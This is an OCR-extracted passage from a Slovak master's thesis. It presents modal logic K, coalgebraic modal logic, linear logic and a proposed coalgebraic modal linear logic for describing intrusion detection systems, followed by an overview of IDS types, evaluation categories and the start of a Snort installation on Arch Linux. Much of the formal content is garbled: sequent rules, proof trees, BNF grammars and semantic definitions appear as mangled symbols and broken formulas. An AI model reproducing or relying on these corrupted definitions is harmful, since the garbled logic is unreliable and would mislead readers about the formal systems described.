Lok A TEAp THA
N TFA oA

(Ar)

T F A
T.onovbE A

Pravidla pre disjunkciu si dve na pravej strane sekventu, ktoré majui jeden pred-
poklad, jedno na Tavej strane sekventu, ktoré ma dva predpoklady a rozvetvuje

dokazovy strom:

TokA T,0FA THA
Tovoka TEA Qv ™

TFA Y

T A pve

Pravidla pre negdciu umoznuja prechod formuly z pravej strany sekventu na stranu

lavi a naopak:

'EA @ ok A
I—pk A(ﬂl) I'FA, ﬁgo(ﬂr)

Pravidla pre implikdciu si dve, pravidlo pre lava stranu sekventu méa dva predpo-

klady a pravidlo pre pravu stranu sekventu ma jeden predpoklad:

A AyvEX ook A
TAo=sokFAn " TFAg=g

)
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6 Modalne logiky

Existuje viacero druhov modélnych logik, ktoré dokédzu nardbat s ¢asom (temporalna
logika [31]), prikazmi, zadkazmi ¢i povoleniami (deontické logika [31]), objektivnym
poznanim a raciondlnym presved¢enim (epistemicka logika [31]), avsak pre vypra-
covanie mojej diplomovej prace bude stacit zakladnd modalna logika K, pomocou
ktorej je mozné narabaf s vyrokmi vyrokovej logiky, rozsirena o vyroky typu ,,je
nutné“ a ,je mozné“ a Mossova koalgebraicka modalna logika, ktora zovseobecnuje
zakladni modalnu logiku K a koalgebry.

O modalnej logike prvy krat uvazoval uz Aristoteles, neskor sa stala predmetom
diskusii v stredoveku, no medzi samostatné druhy logik sa zaradila az pociatkom
dvadsiateho storocia [10]. Dnes sa modalne logiky vyuzivaji v sirokom poli oblasti,

ako napriklad informatika, lingvistika ¢i filozofia.

6.1 Zakladnia modalna logika K

Pomocou zakladnej modélnej logiky K je mozné narabat s tvrdeniami, ktoré mozu

byt pravdivé, nepravdivé, nutné, mozné, nemozné.

6.1.1 Jazyk zakladnej modalnej logiky K
Jazyk zakladnej modalnej logiky K je rozsirenim jazyka vyrokovej logiky.
Definicia 6.1. Symboly jazyka zakladnej modélnej logiky K su:

e symboly jazyka vyrokovej logiky,

e logicka spojka Uy,

e logicka spojka .

Logické spojky Cp a {$p sa nazyvaji modality [4], kde logickd spojka [l

vyjadruje nutnost (Gita sa: , je nutné, aby ¢“) a logickd spojka ¢ vyjadruje moznost
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(¢ita sa: ,,je mozné, aby ¢*) [31]. Pritom platia nasledujice (modélne) De Morganove

ekvivalencie:
S = —O-p (6.1)
Op = =g (6.2)
(]

Definicia 6.2. Syntax jazyka zakladnej modélnej logiky K je definovana pro-

dukénym pravidlom v Backus-Naurovej forme:

pu=p|TIL~ploAy]|oVi|e=|0p| e (6.3)

pomocou ktorého je mozné skonstruovat vsetky formuly zakladnej modalnej logiky
K. Mnozina vsetkych formiil zakladnej modalnej logiky K sa oznacuje M L form.

O

6.1.2 Sémantika zakladnej modalnej logiky K

V tejto praci budem vyuzivat interpretaciu sémantiky, ktort predstavil Saul Kripke.
Bola definovana v péatdesiatych rokoch ako formalna sémantika pre neklasické lo-
gické systémy [18], vytvorend préave pre modélne logiky, neskor nasla uplatnenie
aj v dalsich logickych systémoch.

Kripkeho sémantika, niekedy nazyvana aj sémantika moznych svetov[d], je defi-

novana pomocou Kripkeho modelu nasledovne:

Definicia 6.3. Kripkeho model je usporiadana trojica:
M= (W,R,V) (6.4)
kde:

e W je neprazdna koneénd mnozina moznych svetov: W = {z1,z5,...,n}, kde

n €N,

e R je bindrna relacia dosiahnutelnosti medzi svetmi: R C W x W,

22



FEI KPI

e V je pravdivostnd relacia: V- C W x M Lform — {true, false}, kde V(xy, p)
priradi atomickému vyroku p vo svete x1, pravdivostni hodnotu z mnoziny

{true, false}.
O

Casto sa vyuZiva aj rozsireny model (M, ) o aktualny svet € W [5]. Pomo-
cou rozsireného Kripkeho modelu je mozné definovat sémantiku zakladnej modélne;j

logiky K induktivne, podla jej syntaxe (6.3)).

Definicia 6.4. Sémantika zakladnej modalnej logiky K vyjadrenia pomocou
rozsireného Kripkeho modelu. Zapis M, x F ¢ sa ¢ita ako ,,modélna formula ¢

je pravdiva vo svete z, v modeli M = (W, R, V')“.

M,z Ep iff V(z,p) = true

M,z ET iff V(z, T)=true

M,z FL iff V(z, 1) = false

M,z E —p iff M,xF ¢

M,xEpeAy iff MzFyp a M,xE (6.5)

MzEeVvy iff MizEg¢ alebo M,x FE ¢

MzEp=1v¢ iff (Va,)zRx, ak M,ykFE¢ potom M,ykE ¢
M,z E Qg iff (Va,)xRx, :M,z, E ¢

M,z E $p iff (3x,)zRx,:M,z, Ep

O

Pre upresnenie je vhodné doplnit [10], Ze formula ¢ vyjadrujica moznost je
pravdiva vo svete z, v modeli M iba vtedy, ak formula ¢ je pravdiva v hociktorom z
dosiahnutelnych svetov a formula ¢ = v vyjadrujica striktnt implikédciu je pravdiva
vo svete x, v modeli M iba v pripade, ak (vyplyvajica) formula ¢ je pravdiva

v kazdom z dosiahnutelnych svetov, v ktorych je (podmienend) formula ¢ pravdiva.
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6.1.3 Dodkazovy systém zikladnej modalnej logiky K

Sekventovy kalkul pre modélne logiky bol predstaveny v roku 1998 japonskym logi-
kom Onom v [32]. Sekventovy kalkul pre zdkladni modélnu logiku K je rozsirenim
sekventového kalkulu vyrokovej logiky (5.3]) o nasledujice dedukéné pravidla:

Tre
O F Cp 7

kde kontext LII' vyjadruje mnozinu formul Ly, ..., Oy, ak I' = ¢4, ..., ¢,. Taktiez
plati, Ze ak je I prazdna mnozina formul, potom aj LI je prazdna mnozina formul.
Pravidlo je $pecidlnym pripadom, ked I' je prdzdna mnozina forml.

Okrem pravidla je potrebné zaviest dalsie tri pravidla:

Or k- A, @ Or =0A, ¢
——————(Or,) (Tpry)
O - A, Oy Or - OA, Op

CpkEA
T.0pF A

Oer)

Vsetky tieto pravidla vychadzaju z predpokladu, ze ak ¢ je formula, potom aj Uy
je formula.
Poznamka: Kedze platia De Morganove ekvivalencie (6.1)), podla [32] nieje po-

trebné zavadzat pravidla pre modalnu logickd spojku ,,je mozné“ ().

6.2 Koalgebraickda modalna logika

Prva definicia koalgebraickej modélnej logiky pochddza od Lawrenca S. Mossa v [29)].

Pre jej definovanie je potrebna kategoria tried SET a polynomialny endofunktor:
F:SET — SET (6.6)

Pozndmka 6.5. V tejto kapitole sa nebude narabat iba s formulami a mnozinami
formul [6], ale aj s prvkami mnozin F, L, preto je vhodné pouzit konvenciu z ta-
bulky (6 —1|). Kvoli sprehladneniu zépisu, bude namiesto oznacenia polynomialného

endofunktora F' pouzivané oznacenie F,. O
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Definicia 6.6. Syntax koalgebraickej modalnej logiky.
Dévodom definovania koalgebraickej modélnej logiky [I8] je najst modélny jazyk

L., pre kazdu koalgebru (X, §) a urcit jej relaciu splnitelnosti Fg,C X X L, pricom

plati:
e ak & C L, potom AP € L,
e ak & C L, potom - € L,

e ak p € F,L,, potom Y € L.

Z toho vyplyva, ze A{} € L, klauzula A{} oznacuje true a L, je vlastnd trieda
[19]. Posledna klauzula vyuziva fakt, ze F,, je funktor na SET.

Mnozina Prvky

Lw SO’Q/}?"'
F,L, | ®T, ...

Tabulka 6 —1 Konvencie v koalgebraickej modalnej logike

Modalny jazyk L, koalgebraickych modélnych formul je mozné vyjadrit nasle-

dujicim produkénym pravidlom:
o u=-p| N\ |V, (6.7)

kde p € L, a ® € F, L.
O

7 definicie , je jasné, ze formuly koalgebraickej modalnej logiky st usporiadané
dvojice alebo ich infinitné konjunkcie. Pritom ,zmyslom modality V& je skrateny
zépis“ [26]

Vo =0V A A\od, (6.8)

kde /\, V st infinitné tvary konjunkcie a disjunkcie. Platia nasledovné ekvivalencie:

Cp = V{ip, T}
Op = VoV V{p}

(6.9)
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Priklad 6.7. Nech [, X =Ax X aaq; € A,i e N.
Potom formuly (true), (aq, true), (ag(ay, true), ..., N\{(ag, a1, ..., an, true) | n € N}

st formuly koalgebraickej modalnej logiky.

Definicia 6.8. Sémantika koalgebraickej modalnej logiky.
Majme danu koalgebru (X, £), nech x € X. Potom sémantika koalgebraickej modél-

nej logiky je vyjadrend pomocou relacie [19] Fp,C X x L, nasledovne:

xFp, o,V e d & C L, potom x Fp, A
T Fry ¢ potom x Fp, ~p (6.10)
Jw € Fw(':Fw) takéa Fwﬂ'l(w) = f(x)a Fwﬂ-Z(w) = pOtom T IZFw ¥

kde 71, o s projekcie sucinu X x L.
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7 Linearna logika

Predstavenie linedarnej logiky v roku 1987 francizskym logikom J.-Y. Girardom vyvo-
lalo Siroky rozruch odbornej verejnosti. Podla Girarda [12] by linedrna logika nemala
byt povazovana za nahradu klasickych logik, ale ako ich zovSeobecnenie a rozsirenie.

Tento logicky systém, na rozdiel od ostatnych klasickych ¢i neklasickych logik,
mé& omnoho rozsiahlejsiu vyjadrovaciu silu, ktoru ziskal zavedenim novych logickych
spojok. Hlavnym rozdielom oproti inym logikdm je zdrojovo-orientované narabanie
s formulami, ¢o umoznuje vyjadrit realne procesy ako kauzalita, pleonazmus, pole-
mika, paralelizmus a mnoho dalSich. Vdaka tymto vlastnostiam sa linedrna logika
stala vhodnym logickym systémom aj pre vyuzitie v informatike, ako je napr. popis

sémantiky programovacich jazykov alebo popis vykonavania vypoctu programov.
7.1 Jazyk linearnej logiky

Jazyk linearnej logiky je definovany symbolmi a syntaxou linedarnej logiky:.
Definicia 7.1. Symboly jazyka linearnej logiky s:

e elementarne formuly: a,, kde n = {1,2, ...},

konstanty: 1, L, T, 0, nazyvané neutrdlne elementy,

logické spojky:

— undrne logické spojky: ()% (negécia), !, ? (exponencidly),

— bindrne logické spojky: ®, % (multiplikativna konjunkcia a disjunkcia),

&, @, (aditivna konjunkcia a disjunkcia), —o (linedrna implikacia),

formuly linearnej logiky: ¢, ¢, 9, ...,

e pomocné symboly: zitvorky (,).
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Definicia 7.2. Syntax linedrnej logiky je podla [I3] definovand produkénym

pravidlom v Backus-Naurovej forme:

pu=a, |[L|L|T|0]|o@¢ | &y |o@¢ | Ry |o—o9 |t |lp]| 20 (7.1)

pomocou ktorého je mozné skonstruovat vsetky formuly linearnej logiky. Mnozinu,
ktora obsahuje vSetky linearne formuly je mozné oznacit LLForm. Podla [26] kazda
formula v linedrnej logike opisuje proces akcie a reakcie.

O

Kauzdlna linearna implikacia ¢ —o 9, vyjadruje fakt, ze akcia ¢ je pricinou
(re)akcie ¥ a po vykonani tejto implikdcie sa stava zdroj ¢ spotrebovanym, t.j. o+
[34]. Pomocou exponencidlnych logickych spojok !, ? je mozné vyjadrit pleonazmus
alebo polemiku, pricom spojka ! nazyvana ,samozrejme* vyjadruje nevycerpatelnost
zdroja a spojka 7 s nazvom ,preco nie“ vyjadruje moznost potencidlnej nevycerpa-
telnosti zdroja. Pleonazmickt implikaciu sémantickej tradicie Tarského, je mozné
vyjadrit nasledovne:

p=>9 = lp—oyp (7.2)

Multiplikativna konjunkcia ¢ ® ) ma neutrdlny prvok 1. Vyjadruje parale-
lizmus [26], ¢ize vykonanie obidvoch akcii naraz.

Multiplikativna disjunkcia ¢ % ¢ ma neutralny prvok L a je dudlnou ope-
raciou k ®. Vyjadruje zavislost medzi dvoma akciami [34]. Linearna formula ¢ % 1)
znamena ze ak sa nevykona akcia ¢, potom bude vykonand akcia 1) a vice versa.

Aditivna konjunkcia ¢ & 1 mé neutralny prvok T. Vyjadruje, ze na zaklade
vonkajsich podmienok bude vykonana iba jedna z dostupnych akcii, pricom je mozné
rozhodnit ktord [26]. Tu je mozné pozorovat analdgiu s programovacou konstrukciou
if ...then ¢...else ¢ ... [13], o ktorej je zndme, Ze obe alternativy ¢, 1 st dostupné,
no iba jedna bude vykonana.

Aditivna disjunkcia ¢ @ 1) ma neutralny prvok 0 a je dudlnou operaciou k &.
Vyjadruje, zZe iba jedna z akcii ¢, ¢ bude vykonané [26], no uz nieje mozné rozhodnut

ktora to bude.
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Linedrna negdcia je podla Girarda [13], najdolezitejSou spojkou linedrnej lo-

giky. Je involutivna (pt+

D -

akcia ¢

reakcia o+

dostupny zdroj

spotrebovany zdroj

vstup

vystup

= ¢) a vyjadruje dualitu, ktord je zobrazend v tabulke

Tabulka 7—1 Dualita linedrnej negacie

V linearnej logike taktiez platia De Morganove zakony. Zopar zakladnych

ekvivalencii:

1t =
1+t =1
TL = 0
oL = T
(pRY)t = =Byt
(Bt = eyt (7.3)
(@)t = &yt
(&)t = oyt
(lp)t = 7ot
(Po)t = lpt
p—th = et

7.2 Sémantika linearnej logiky

Vo vSeobecnosti existuju dva druhy pristupov k sémantike linedrnej logiky. Prvy
pristup vychédza zo sémantickej tradicie Tarského, ktord sa zaobera vyznamom
formul. Tento pristup moze byt pouzity na dokazanie konzistentnosti a tplnosti

(niektorych) fragmentov linedrnej logiky. Girard predstavil v roku 1987 spolu s line-
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arnou logikou fazovi sémantiku zalozenu na Tarského tradicii v [I5]. Je vhodné pre
vyuzitie pri praci s aditivnym fragmentom linearnej logiky [28], z hladiska séman-
tiky niekedy nazyvany aj ako extenziondlny, zobrazeny nasledujicim produkénym

pravidlom:

pr=a, | T|0 &y | @y |p—t| et |lo| 2 (7.4)

Druhy pristup k sémantike vychadza zo sémantickej tradicie Heytinga, ktora
skima zmysel formul a zaoberd sa ich dokazmi. Jednu z interpretacii sémantiky
pre linearnu logiku, vychédzajicu tejto sémantickej tradicie taktiez predstavil Girard
v [15] a nazval ju koherentnou sémantikou. Tato interpreticia sémantiky je podla
[28] vyuzitelna pri multiplikativnom fragmente linedrnej logiky, ktory je z hladiska
sémantiky niekedy nazyvany aj intenziondlny a je zobrazeny nasledujicim produkc-

nym pravidlom:

pu=a, | 1] L@y | By |p—w|et|lp]| 2 (7.5)

Pre viac informacii ohladom sémantiky linearnej logiky je citatel odkazany na
originalny clanok [13], v ktorom st podrobne rozobraté obidve Girardove interpre-

tacie sémantik, vychadzajice z vyssie spomenutych sémantickych tradicii.

7.3 Dokazovy systém linearnej logiky

Obojstranny Gentzenov sekventovy kalkul pre linedrnu logiku ma nasledujuci tvar:

- —
PlyenPrn 1., Pm

kde I'; A st kone¢né mnoziny formil. Vyznam zapisu I' = A je:

ktory je mozné precitat ako ,aditivna konjunkcia formul na pravej strane sekventu

je dokazatelnd z multiplikativnej konjunkcie formil na strane lavej“.

30



FEI KPI

Dedukéné pravidla sekventového kalkulu linearnej logiky tvoria:
1.) Pravidla identity a rezu
'y Ak

(id) (cut)

et [,AF

2.) Strukturalne pravidla:

Lo A L'Epv, A
T, ok A TF o, A

Na rozdiel od klasickych logik, zdrojovo-orientovana povaha linearnej logiky nepo-
voluje plnohodnotné pravidla oslabenia a kontrakcie, avsak vdaka exponencidlnym

logickym spojkam ich je mozné zaviest v obmedzenom tvare:

720,70 F A I'F2p, 70, A
T7%FA Y Tre,A
I'EA I'EA

7o A Cw) o A (wr)
70 A L7279, A
Ik A I'FpA
Aglfflggggg—(?dl) AAAAAAjEZAA*(?dw)
[720FA I'F2p, A
oA I'Eop, A
L(!dl) ﬁ(!dr)

3.) Logické pravidla:

I'=A
rir A" -1 ror A
1.0 I T A"
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oA

F,g0®¢|—A(®l)

THop A ®F, Y

ToFood.Ay o

LA TooFEA L'Ep A 'Ey, A
Teav.rA ) Treoog A TF ooy, A~
Tho A & Fx Lok, A
I dg—oprAs ™ Thg—op AT
LA . Ly EA . C'Eop A Fl—w,A&
To&o A To& o F A TFo&o A
DobA QyFs Chev,A
T.ooNGFAY Y TFong A
Tko A T ok A
— 2 ob IS
et A L'Ept A

Priklad 7.3. Time-to-live (TTL) paketu, je ¢islo ktoré vyjadruje pocet hop-ov cez,
ktoré ma paket povolené prejst pred tym, ako bude zahodeny smerovacim zariade-
nim.

Paket je zakladnou jednotkou sirenia informacii vo vsetkych modernych pocita-
¢ovych sietach [43]. Smerovacie zariadenie je elektronické zariadenie siefovej vrstvy
a obsahuje softvér, ktory dokaze prepojit minimalne dve siete, napriklad siete typu
LAN alebo WAN, a sirit medzi nimi pakety. Pocet hop-ov je zvySeny akymkolvek za-
riadenim, cez ktoré prechadza paket po ceste, ktorou sa 8iri z jedného smerovacieho
zariadenia do druhého, az pokial neddjde k cielu. TTL je nastaveny osem miestnym
bindrnym ¢islom, ktoré je umiestnené v hlavicke paketu, a vyuziva sa ako prevencia
proti nekonec¢nému ,.bludeniu® paketu v sieti. Kazdym prechodom paketu cey sme-

rovacie zariadenie sa znizi hodnota TTL o jeden. Ked sa hodnota TTL rovna nule,
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smerovacie zariadenie zahodi paket a posle spat spravu ICMP origindlnemu odosie-
latelovi. Konkrétne ¢islo TTL indikuje maximalny rozsah moznych hop-ov paketu.

V stcastnosti si zavedené nasledujice konvencie hodnot TTL, zobrazené pomocou

tabulky (7.3)):

hodnota TTL oblast
0 odosielatel paketu
32 mesto
64 region
128 kontinent
255 neobmedzeny

Tabulka 7—2 Konvencie hodnét TTL

Dekrementaciu TTL pocas cesty paketu v sieti (uvazujme hodnotu TTL obme-
dzent pre kontinent), nasledné vyslanie ICMP spravy a zahodenie paketu je mozné

vyjadrit formulou linedrnej logiky néasledovne:

TTL128 —0 TTL127 —© .+ —0 TTLO —0 S,ICMP X Dr_Packet (78)

kde:
o T'T'Lysg, TT Loy ...TT Ly st hodnoty TTL paketu,
e S ICMP vyjadruje poslanie ICMP spravy origindlnemu odosielatelovi,
e Dr_Packet vyjadruje zahodenie paketu smerovacim zariadenim.
Pricom kontexty v dokaze obsahuju:
o ' = {TT iy, TT iy, TTLy,S_ICM P+, Dr_Packet'},

o A={TTLi,, TTLs,S ICMP*, Dr_Packet*},
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e &={TTLy,SICMP* Dr_Packet!},
e X ={S.ICMP* Dr_Packet}.

Dokazovy strom:
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8 Koalgebraicka modalna linearna logika pre IDS

Po analyze sicasného stavu v oblasti logickych systémov a zvazeni existujucich rie-
Seni je pre exaktny popis spravania sa programového systému potrebné navrhnuf
novy logicky systém - koalgebraickti modalnu linearnu logiku pre IDS. Ten vznikne
zovseobecnenim linearnej logiky, konkrétne jej multiplikativneho fragmentu
a koalgebraickej modalnej logiky . Formulacia tejto logiky je uz z casti pred-
stavend v [28]. Pri jej definicii som vychddzal z doterajsicho vyskumu vyskumnej
skupiny tedrie programovania pod vedenim Prof. Novitzkej.

Linearna logika oproti inym logickym systémom disponuje zdrojovo orientova-
nym pristupom k formuldm [I3], ¢o z nej spolu s modalnymi operatormi koalgeb-
raickej modalnej logiky, vytvara efektivny néstroj pre popis spravania sa programo-
vych systémov ako je napriklad systém pre detekciu prienikov v (pocitacovej) sieti
a mnoho dalsich.

V nasej predchadzajtcej praci [34], ako aj v mojej bakalarskej préaci [35], sme
ukazali, ako je mozné linearnu logiku vyuzit pre popis akcii realnych procesov, so
zretelom na zdroje. V nasom pristupe sme ilustrovali jej vyuzitie pri inStalacii balic-
kov z linuxového repozitara pomocou nastroja Advanced Package Tool v opera¢nom

systéme Ubuntu.

8.1 Jazyk koalgebraickej modalnej linearnej logiky pre IDS

Linearna logika bola pévodne zavedena ako zdrojovo orientovana logika, kde zavede-
nim novych logickych spojok bola docielena silnejsia vyjadrovacia schopnost. Oproti
tomu koalgebraickd modalna logika so svojim pleonazmickym pristupom k formu-
lam bola zavedena ako logika moznosti a nutnosti. Jazyk koalgebraickej modélnej
linedrnej logiky je zlozeny z fragmentov tychto logik a je definovany jej symbolmi

a syntaxou nasledovne:

Definicia 8.1. Symboly koalgebraickej modalnej linearnej logiky pre IDS

su:
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e elementarne formuly: a,, kde n = {1,2, ...},

e konstanty: 1, |, nazyvané neutrdlne elementy pre logické spojky ®,% v po-

radi,

e logické spojky: undrne logické spojky: ()*,0,<> a bindrne logické spojky:
®7 73)7 _07

e formuly koalgebraickej modalnej linearnej logiky: ¢, ¢, 9, ...,
e pomocné symboly: zitvorky (,).
([

Pozndamka 8.2. Vlastnosti vyssie uvedenych logickych spojok st definované v ([7.1)

O

Definicia 8.3. Syntax koalgebraickej modalnej linearnej logiky pre IDS je

definovana nasledujicim produkénym pravidlom v Backus-Naurovej forme:

pr=a, | 1| L@y ooy |p—ip|eh|Op| Op (8.1)

pomocou ktorého je mozné skonstruovat vsetky formuly koalgebraickej modélnej
linearnej logiky pre IDS. Mnozinu vSetkych formil tejto logiky je mozné oznacit
CMLLForm.

Pricom plati:
e &={p;|i=1,2,...,n} je konecnd mnozina formil,

e VO = D(?@) ® (®(<><I>)) je modalny operator nazyvany zdrojovo oriento-
vand koalgebraickd modalita zavedend v [28] (z ang. resource oriented coalgeb-

raic cover modality), pricom

— 02 ={0p | p € P}

37



FEI KPI

— operator ’S® znamend S = 0178 P28,

— operator ® oznacuje moznu nekoneéni multiplikativnu konjunkciu for-

mil: QP = G @ Gpa ...

O

V navrhnutom logickom systéme formulujem nasledujiice De Morganove zakony.

Niekolko zékladnych ekvivalencii:

1t = 1
1+ =1
()t = ¢
®wJ_ = J_QXQ/JJ_
(¢ )L @L ) 5.2)
(eBY)- = oY
p—th = @B
Gy = -y
Op = =0

8.2 Sémantika koalgebraickej modalnej linearnej logiky pre

IDS

Pre interpretaciu sémantiky navrhnutého logického systému po dokladnej analyze
sucasného stavu bola zvolend Kripkeho sémantika moznych svetov, ktorej definicia
sa nachadza v kapitole tejto prace. Medzi jej vyhody patri najma to, ze tato
formulécia je vhodné pre popis definicie sémantiky logiky, ktora sa zaobera intenziou

formil na zéklade sémantickej tradicie Heytinga.

Poznamka 8.4. Pre lepsiu ilustraciu interpretacie sémantiky bol zvoleny rozsireny
kripkeho model M, ktory je oproti klasickému Kripkeho modelu rozsireny o aktualny

svet z.
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Definicia 8.5. Rozsireny Kripkeho model M pre koalgebraickii modalnu line-

arnu logiku je usporiadand stvorica:
M = (W,R,V,z) (8.3)
kde:

e W je neprazdna koneénd mnoZina moznych svetov: W = {xy, 29, ..., x,}, kde

Ty €N,

R je binarna relacia dosiahnutelnosti medzi svetmi: R C W x W,

V' je intenziondlna relacia: V : W x CMLLForm — {1,1}, kde V(xy,a)

priradi elementarnej formule a vo svete x, hodnotu z mnoziny {1, L},

x je aktualny svet z € W.

O

Definicia 8.6. Sémantika koalgebraickej modalnej linearnej logiky pre IDS
vyjadrena pomocou rozsireného Kripkeho modelu.
Zéapis M, x E ¢ sa cita ako ,koalgebraickd modalna linedrna formula ¢ ma zmysel

vo svete x, v modeli M = (W, R, V, z)“.

M,z Ea iff V(r,a)=1

M,zE1 iff V(z,1)=1

M,z kEL iff V(z,1)=1

M,z F ot iff M,zF o

MzEp®y iff M,zE @ asicasne M,xE (8.4)

MxEepwy iff MxFEep xzor M,zEY

M,z Ep—ot iff (Vz,)xRr, ak M, x,F ¢ nisledne M, x,, E 1
M, x E Oy iff (Va,)zRx,:M,z, F ¢

M,z E Qo iff (3x,)zRx,:M,z, Fp
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8.3 Dokazovy systém koalgebraickej modalnej linearnej lo-

giky pre IDS

Pre formulaciu dokazového systému navrhnutého logického systému bol po presku-
mani sucasnych moznosti zvoleny obojstranny Gentzenov sekventovy kalkul, ktory
ma oproti hilbertovskému stylu dokazovania formil jednoduchsie dedukéné pravidla,
a aj tvorba samotného dokazu je podstatne jednoduchsia. Dedukéné pravidla oboj-
stranného Gentzenovho sekventového kalkulu pre koalgebraicki modalnu linearnu

logiku pre IDS maju nasledovny tvar:

I - A (8.5)
~ -
PLyPn P1,ehm

kde I'; A st kone¢né mnoziny formil. Vyznam zapisu I' = A je:

a je mozné precitat ako ,multiplikativna disjunkcia formul na pravej strane sekventu
je dokazatelna z multiplikativnej konjunkcie formil na strane lavej*“.
Dedukcéné pravidla sekventového kalkulu linedrnej logiky tvoria:

1.) Pravidla identity a rezu

'ty Aok

(id)

(cut)

ey LA
2.) Strukturélne pravidla:
oA L'y A
TN CF 0, A
3.) Logické pravidla:
rIra _
rira™ -1
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Lo FA
= A®)
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&g —ouFAS "

Dobd @0ks
o oNGFAY

)

F'kp A
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TFOp, A
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1)
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Poznamka 8.7. Podla [32] nieje potrebné zaviest dedukcné pravidla pre logicki

spojku <, z dovodu existencie De Morganovych ekvivalencii (8.2), avSak pravidld

zavadzam vo vyssie uvedenom tvare na zaklade uz definovanych pravidiel pre logick

spojku . Dokaz:

L'Ep A

It A
L,0(ph) - A
'O (ph), A

'Eop, A

(0)
(@)

(0:)

LA

I'Feh A
O, A
IO (eh) FA

oA

(0

(©x)
(0
=
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9 IDS - systém pre detekciu prienikov

Systém pre detekciu prienikov (dalej len skratene IDS), je softvérova aplikdcia alebo
hardvérové zariadenie, ktoré monitoruje pocitacovi siet alebo systém [39]. Sluzi ako
ochrana a priprava pred moznymi itokmi a podozrivymi aktivitami. To je dosiahnuté
pomocou zberu informaécii z roznych systémovych a siefovych zdrojov a ich naslednou
analyzou pre potencialne bezpec¢nostné hrozby.

Podla [39] IDS poskytuje nasledujtce sluzby:

e monitoruje a analyzuje pouzivatelski, siefovi a systémovua aktivitu,
e skima systémovu konfiguraciu a potencidlne zranitelnosti,

e hodnoti integritu kritickych systémovych stborov,

e na zaklade znamych algoritmov ttokov sStatisticky analyzuje a vyhodnocuje

siefovi prevadzku.
Podla [39] exituju tri zékladné tipy IDS:

e NIDS (z ang. Network Intrusion Detection system) systém pre detekciu prieni-
kov v (pocitacovej) sieti, vykondva analyzu sietovej prevadzky v celej podsieti.
Pracuje v promiskuitnom moéde a sietovi prevadzku porovnéava s databazou
znamych tutokov. Po detekcii itoku alebo abnormalneho spravania je informo-

vany administrator, najcastejsie formou protokolov ¢innosti systému.

e NNIDS (z ang. Network Node Intrusion Detection system) systém pre detekciu
prienikov v (pocitacovej) sieti konkrétneho pocitaca, vykondva analyzu siefove;
prevadzky, ktora prisla zo siete na Specificky pocitac¢. Rozdiel medzi NIDS
a NNIDS je v tom, ze siefova prevadzka je monitorovand iba na jednom pocitaci

a nie v celej podsieti.

e HIDS (z ang. Host Intrusion Detection system) systém pre detekciu prieni-

kov klienta, ktory vytvori snimkovy vypis systémovych siborov a porovna ho
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so skor vytvorenym snimkovym vypisom systémovych suborov. Ak boli kri-
tické systémové subory zmenené alebo zmazané, administrator systému bude

upozorneny.

Nasadenie IDS umoznuje organizaciam a jednotlivcom zvysit zabezpecenie prog-

ramovych systémov. Podla [2] st hlavné dévody pouzivania IDS nasledovné:

e predchadzanie problémového spravania sa pomocou zvysenia pravdepodob-
nosti odhalenia a nésledného potrestania potencialneho ttoc¢nika, ktory by sa

pokusil zautocit alebo akokolvek inak zneuzif systém,

e detegovat ttoky a iné bezpecnostné hrozby, ktorym sa neda predist inymi

moznostami,
e detegovat a zabranit pociatkom potencialnych ttokov.

Na zaklade sposobu detekcie abnormélnych aktivit a hrozieb sa podla [21] IDS

rozdeluji na dve skupiny:

e detekcia na zaklade ttoku. Tento typ IDS vyuziva uz zndme algoritmy a vzory
utokov. Nevyhoda tohto typu IDS spociva v tom, ze IDS nepozna nové, resp.

nezname typy utokov a tym ostava systém zranitelny.

e detekcia na zaklade anomdlii v spravani sa systému. Tento typ IDS vytvara
sietové statistiky a definuje statisticky priemerné spravanie sa systému. Ked
sa statisticky priemerné sprdvanie vychyluje od svojho priemeru vo velkom
rozsahu, spusti sa alarm. Nevyhodou tohto typ IDS je, Ze produkuje mnozstvo
falosnych alarmov, no na druhej strane je efektivne voc¢i novym resp. nezna-

mym typom ttokov.

Definicia 9.1. Spravanie sa IDS na zdklade vyhodnotenia (ne)nastatia ttoku alebo

(ne)spustenia alarmu [21] je mozné vyjadrit pomocou nasledujiceho rozdelenia:

e pravdivy pozitivny (PP),
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e pravdivy negativne (PN),
e nepravdivy pozitivny (NP),
e nepravdivy negativny (NN).

Sémantika je zobrazend pomocou tabulky (9—1)):

Skutocny tutok | Spusteny alarm IDS
pravdivy pozitivny (PP) Ano Ano
pravdivy negativny (PN) Nie Nie
nepravdivy pozitivny (NP) Nie Ano
nepravdivy negativny (NN) Ano Nie

Tabulka 9—1 Vyhodnotenie IDS

Podla [21] sa pre vyhodnotenie IDS najcastejsie vyuziva Pravdivo Pozitivna Prav-

depodobnost (PPP), ktord je mozné vyjadrit pomocou vzorca (9.1)):

PP

PPP = ——
PP+ NN

(9.1)

O

9.1 Nastroj Snort - systém pre detekciu prienikov v (poéi-
tacovej) sieti

Snort je open source systém pre detekciu prienikov v (pocitacovej) sieti (NIDS),
vyvinuty spolocnostou Sourcefire, Inc. Podla domovskej stranky projektu [37] je
Snort v sucastnosti s milionmi stiahnuti a s takmer Styristo tisicmi registrovanych
pouzivatelov celosvetovo najrozsirenejsim a najpouzivanejsim IDS systémom. V mo-
jom pripade som Snort instaloval do svojho osobného pocitaca, v ktorom vyuzivam
operacny systém Arch Linux v kombindcii s grafickym pouzivatelskym prostredim

GNOME vo verzii 3.14.
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9.1.1 Instalacia nastroja Snort v prostredi operacného systému Arch

Linux

Arch Linux je nezavisle vyvinutd distribicia GNU/Linux, ktord je vhodna na vy-
kondvanie vSetkych tloh [45]. Pri vyvoji je kladeny doraz na jednoduchost, mini-
malizmus a elegantny kod. Arch je instalovany ako minimalisticky operacny systém
tak, aby si ho kazdy pouzivatel prisposobil svojim vlastnym potrebam. Konfiguracné
grafické ¢i textové instalacné nastroje niesu k dispozicii a celd instalacia sa vyko-
nava z prostredia emulatora terminalu. Je zalozeny na modeli aktualizacii ,,rolling-
release®, ¢o mu umoznuje ostaf stale aktualny a zvycajne pontika najnovsie stabilné
verzie vacsiny softvéru.

Arch Linux vyuziva na spravu softvéru, ako aj celého opera¢ného systému, spravcu
balickov pacman, ktory umoznuje jedinym prikazom aktualizovat cely operacny
systém, ako aj nainstalovat, odstranit a aktualizovat jeden ¢i viac balickov [45]. Ofi-
cidlne repozitare Arch Linuxu poskytuji niekolko tisic balickov. Okrem toho Arch
Linux podporuje pouzivatelski komunitu v raste a poskytuje jej pouzivatelské repo-
zitare ,Arch Linux User-Community Repository skr. AUR®, ktoré obsahuju dalsie
tisice skriptov pre kompilaciu balickov, ktoré poskytli nadsenci tejto distribicie. Pre
spravu AUR sa vyuziva spravca balickov yaourt.

